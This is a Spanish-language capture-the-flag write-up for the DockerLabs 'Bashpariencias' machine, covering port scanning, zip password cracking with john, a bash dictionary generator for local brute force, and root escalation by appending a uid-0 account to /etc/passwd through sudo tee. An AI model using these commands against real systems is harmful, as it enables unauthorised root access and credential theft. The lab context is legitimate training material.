Post

Bashpariencias , DockerLabs

portada

En este reto de DockerLabs aprendemos.

  • Scan de puertos
  • Bash scripting basico
  • Abuso de sudo

Herramientas y recursos

  • nmap
  • Bucles for
  • Mario
  • Password cracking john zip2john

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bashpariencias 172.18.0.2

reporte

Como observamos en el reporte no encontramos con el puerto 80 y un servidor ssh corriendo en el 8899 con una versión la cual podríamos explotar.

Empiezo por lo mas fácil que es revisar la web del tirón ya me indica algo prometedor pues habla una usuaria con poca experiencia.

infopass

Revisando bien toda la web puedo ver que existe una pequeña fuga del nombre de dicha usuaria.

rosacajon

Ahora me fijo directo a ese código.

code

Tenemos la password de rosa.

Hacemos login por ssh

Intrusion

Una vez logueados con rosa vemos una carpeta en su directorio personal.

guion

Si nos fijamos es un directorio con un guion por nombre.

mensaj

En el mensaje queda claro como seguir, debemos cracker el archivo zip para obtener la contraseña. Primero nos lo transferimos a nuestra maquina.

1
2
3
python3 -m http.server 9000
zip2john ../../../backup_rosa.zip > zip.hash
john zip.hash

passzip

passjuan

Por otro lado el mensaje queda algo confuso porque nos dice que lo capturemos cuando en realidad lo que vemos es un archivo .zip y debemos crackearlo con john.

Tratemos de ver los procesos que corren……

1
ps -auxf

ps

Vemos que hay un proceso con nombre pass_juan.sh , nos lleva a pensar que esta guardando la contraseña en algún lugar y solo puede ser donde tengamos permisos de escritura en home de rosa que no hay nada , en /tmp o /opt , eso serian los directorios comunes.

Lanzamos y probamos un bucle por si hay suerte.

1
for (( ; ; )) ; do cp /tmp/*.txt /home/rosa ; done

Tenemos suerte en tmp y nos copia un archivo con el mismo pass que obtuvimos del zip.

Movimiento lateral

Ahora nos convertimos en juan.

Como juan vemos que tenemos permisos de sudo en dos binarios tree y cat por tanto ya sabemos que lo que hemos de buscar esta bajo algún directorio de Carlos.

options

Como vemos nos ocurre lo mismo de antes tenemos dos opciones una mas fácil y otra con la que hemos de hacer uso de un poco de bash scripting.

Visto que tenemos la pass a la vista practiquemos con bash no seamos de los que acudían al rincón del vago en tiempos antiguos.

El mensaje nos dice que olvido lo tres últimos caracteres de su pass , entonces podemos crear otro pequeño bucle de for concatenando letras del abecedario y posteriormente hacer una de dos u otro bucle con while o for probando contra carlos o hacer uso del script que hizo Mario que viene genial para fuerza bruta local en linux.

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

palabra=chocolate

for c1 in {a..z}; do
	for c2 in {a..z}; do
		for c3 in {a..z}; do
			echo "$palabra${c1}${c2}${c3}" >>dict2.txt
		done
	done
done 

Ahí creamos el diccionario personalizado para la ocasión. Ahora nos faltaría el script para ello lo mas sencillo ir a su github copiarlo y aprovechar que tenemos nano y pegarlo ahí mismo. Entre el dic creado y el script de Mario resolvemos el problema.

passu

Podemos convertirnos en carlos y vemos que tiene permisos de root con el binario tee.

Escalada final

Así que tratamos de crear una nueva entrada para el fichero etc/passwd

1ªCreamosa la pass para el usuario

1
openssl passwd -1 -salt "firstatack" "pass"

2ª La pegamos al fichero

1
printf 'firstatack:$1$firstata$KaJwXv0namG9OzwTOxpN61:0:0:root:/root:/bin/bash\n' | sudo tee -a /etc/passwd

3ª- Hacemos login con el usuario creado.

root

Gracias por leer

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.